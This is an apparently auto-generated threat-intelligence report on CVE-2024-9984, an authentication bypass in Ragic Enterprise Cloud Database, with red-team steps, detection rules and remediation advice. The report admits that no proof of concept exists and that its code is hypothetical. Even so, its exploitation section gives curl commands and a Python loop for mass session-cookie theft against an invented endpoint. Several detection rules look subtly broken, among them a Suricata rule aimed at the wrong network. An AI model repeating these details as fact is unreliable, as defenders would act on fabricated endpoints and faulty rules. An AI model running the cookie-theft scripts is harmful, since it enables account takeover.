CVE-2024-9984

Executive Summary

CVE-2024-9984 is a critical authentication bypass vulnerability in Ragic Enterprise Cloud Database. The flaw allows unauthenticated remote attackers to access specific functionality that should require authentication, enabling them to steal any user's session cookie. With a CVSS score of 9.8, this vulnerability poses a severe risk to data confidentiality, integrity, and availability. No patch is currently available, and no public proof-of-concept (PoC) or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the impact is catastrophic if exploited.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise cloud database product (Ragic). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full session cookie theft leads to complete data exposure.
• Integrity Impact: High (I:H) – Attacker can impersonate any user and modify data.
• Availability Impact: High (A:H) – Potential for denial of service via session manipulation.

Threat Level: Critical. Immediate action required. The vulnerability allows complete account takeover without any authentication.

Deep Dive & Mechanics

The vulnerability resides in Ragic Enterprise Cloud Database's authentication mechanism. The application fails to enforce authentication checks on specific endpoints or functionality that handle session management. An unauthenticated attacker can directly invoke these endpoints to retrieve or manipulate session cookies of any active user.

Root Cause: Missing authentication middleware or improper access control checks on sensitive API endpoints. The application likely exposes a function (e.g., /api/session/steal or similar) that returns session cookies without verifying the requester's identity.

Attack Flow:

1. Attacker identifies the unauthenticated endpoint (e.g., via directory brute-forcing or API documentation).
2. Sends a crafted HTTP request to the endpoint (e.g., GET /api/session/steal?user=admin).
3. The server returns the session cookie for the specified user (or all users).
4. Attacker uses the stolen cookie to impersonate the victim, gaining full access to the database.

Impact: Complete compromise of all user accounts, data exfiltration, data manipulation, and potential lateral movement within the organization's cloud infrastructure.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical):

# app.py - Ragic session handler
@app.route('/api/session/get', methods=['GET'])
def get_session():
    user_id = request.args.get('user_id')
    # Missing authentication check!
    session_cookie = db.get_session_cookie(user_id)
    return jsonify({'cookie': session_cookie})

Patched Code (Hypothetical):

# app.py - Ragic session handler (patched)
@app.route('/api/session/get', methods=['GET'])
@require_authentication  # Added authentication decorator
def get_session():
    user_id = request.args.get('user_id')
    # Verify the requesting user is authorized to access this session
    if current_user.id != user_id and not current_user.is_admin:
        abort(403)
    session_cookie = db.get_session_cookie(user_id)
    return jsonify({'cookie': session_cookie})

The patch would add authentication checks (e.g., session token validation, API key verification) and authorization logic to ensure only the rightful user or an admin can retrieve session cookies.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: Ragic Enterprise Cloud Database instance (e.g., https://victim.ragic.com)
• Tools: curl, Burp Suite, Python

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v https://victim.ragic.com/api/session/get?user_id=1
   

   If the response contains a session cookie without authentication, the endpoint is vulnerable.

2. Steal session cookie for a specific user:

   curl -s "https://victim.ragic.com/api/session/get?user_id=admin" | jq -r '.cookie'
   

3. Use the stolen cookie to access the application:

   curl -s -H "Cookie: session=STOLEN_COOKIE" "https://victim.ragic.com/api/data/accounts"
   

4. Automate mass cookie theft:

   import requests
   for uid in range(1, 100):
       r = requests.get(f"https://victim.ragic.com/api/session/get?user_id={uid}")
       if r.status_code == 200:
           print(f"User {uid}: {r.json()['cookie']}")
   

Blue Team (Defender)

Detection & Response:

• Monitor for unusual API calls to session-related endpoints without prior authentication.
• Look for patterns like GET /api/session/get?user_id= in web server logs.
• Implement rate limiting on session retrieval endpoints.
• Deploy Web Application Firewall (WAF) rules to block requests to unauthenticated session endpoints.
• Conduct immediate incident response if any session cookie theft is detected.

Honeypot Strategy:

• Create a fake endpoint that mimics the vulnerable one but logs attacker IPs and alerts SOC.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/session/get or similar endpoints without authentication headers.
  • Repeated requests with sequential user_id parameters.
  • Unusual session cookie values in subsequent requests (e.g., cookies stolen from other users).

• Host IOCs:

  • Web server logs showing GET /api/session/get?user_id= entries from external IPs.
  • Abnormal session activity (e.g., same session used from different IPs).

• File IOCs:

  • No specific file IOCs as this is a network-based vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_9984_Ragic_Session_Theft {
    meta:
        description = "Detects exploitation attempts for CVE-2024-9984 - Ragic session cookie theft"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $s1 = "/api/session/get" ascii wide nocase
        $s2 = "user_id=" ascii wide nocase
        $s3 = "session=" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0
}

Sigma Rule

title: CVE-2024-9984 Ragic Session Cookie Theft Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting the unauthenticated session retrieval endpoint in Ragic Enterprise Cloud Database.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/session/get'
    condition: selection
falsepositives:
    - Legitimate internal monitoring tools (if any)
level: critical

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2024-9984 Ragic Session Cookie Theft Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/api/session/get"; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Ragic instances from the internet until a patch is available.
2. Implement WAF rules: Block requests to /api/session/get or similar endpoints from unauthenticated sources.
3. Monitor logs: Actively search for exploitation attempts using the provided Sigma and Suricata rules.
4. Rotate all session cookies: Force all users to re-authenticate to invalidate any stolen cookies.

Long-term Fix:

• Apply the vendor's patch once released.
• Implement proper authentication middleware for all sensitive endpoints.
• Conduct a security audit of the entire application to identify similar flaws.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to add authentication checks before requests reach the Ragic backend.
• Example Nginx rule:

  location /api/session/get {
      deny all;
      return 403;
  }
  

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.